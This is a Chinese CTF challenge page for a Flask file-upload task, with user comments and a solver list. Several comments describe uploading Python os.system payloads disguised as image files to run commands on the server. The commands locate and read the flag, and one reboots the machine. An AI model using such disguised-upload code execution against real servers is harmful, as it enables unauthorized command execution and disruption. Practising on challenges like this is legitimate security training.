Flask_FileUploadWEB 未解决

分数: 10 金币: 3
题目作者: valecalida
一  血: Lazzaro
一血奖励: 3金币
解  决: 12263
提  示:
描  述:
Flask_FileUpload
评论
玲珑湾 3年前

话说传个马上去会怎样

回复 2
admin999 2年前

传了php上去提示ValueError: too many values to unpack (expected 2) // Werkzeug Debugger

回复 0

66295112 3年前

常规 按F12,看到一句话,你所上传的文件都会以python的方式返回结果。 哦了,然后上传 ,首先创建一个a.txt,写入 import os os.system('find / -name flag') //查找flag所在文件路径 然后改后缀为png即a.png后以图片上传,代码被执行,发现 /flag 在notepadd++中打开a.png,在后面添加一行 os.sy

回复 1

kaer 3年前

import os os.system('ls / -l') 命名为dir.png import os os.system('cat /flag') 命名为flag.png 上传两次 ls / -l 列举出文件的类型可以看出flag不是目录文件

回复 0

Adaneo 3年前

python代码执行,f12源代码中有执行的结果显示。神奇的代码,大佬就是大佬啊!

回复 0

3055 3年前

import os 换行 os.system('cat /flag')

回复 2

DragonFly 3年前

import os os.system("reboot")

回复 0
tomcatkeep 3年前

("c2hhYmkgc3VucmVuYnVsaWpp")

回复 0

k19551429 3年前

场景有问题

回复 0

Hobin 3年前

这个写wp的人很厉害啊

回复 0

Hobin 3年前

这个写wp的人很厉害啊

回复 0

TamiQ 3年前

vi test.jpg 内容是 import os os.system('find / -name flag') 然后吧test.jpg上传上去,看下响应中flag文件的位置,然后把jpg的内容改成cat flag的位置,就可以了

回复 1

WriteUp

image
国家级划水运动员

3 金币

评分(20)

解题动态

2021060287 攻破了该题 12小时前
wlaqxb 攻破了该题 18小时前
aaaaab 攻破了该题 1天前
那天晚风和她 攻破了该题 2天前
姥姥 攻破了该题 2天前
聪10011 攻破了该题 4天前
xiaona1111 攻破了该题 4天前
qianye 攻破了该题 5天前
shuishuang1003 攻破了该题 6天前
zjh240609 攻破了该题 6天前
yamojito 攻破了该题 6天前
克瑞兹123 攻破了该题 7天前
咻猫 攻破了该题 7天前
mhxiaobai 攻破了该题 8天前
zeeker001 攻破了该题 8天前
huasir 攻破了该题 10天前
1494324192 攻破了该题 10天前
孙燕姿圈外男友 攻破了该题 10天前
liutong27 攻破了该题 10天前
阿狸沙堤 攻破了该题 13天前
问题反馈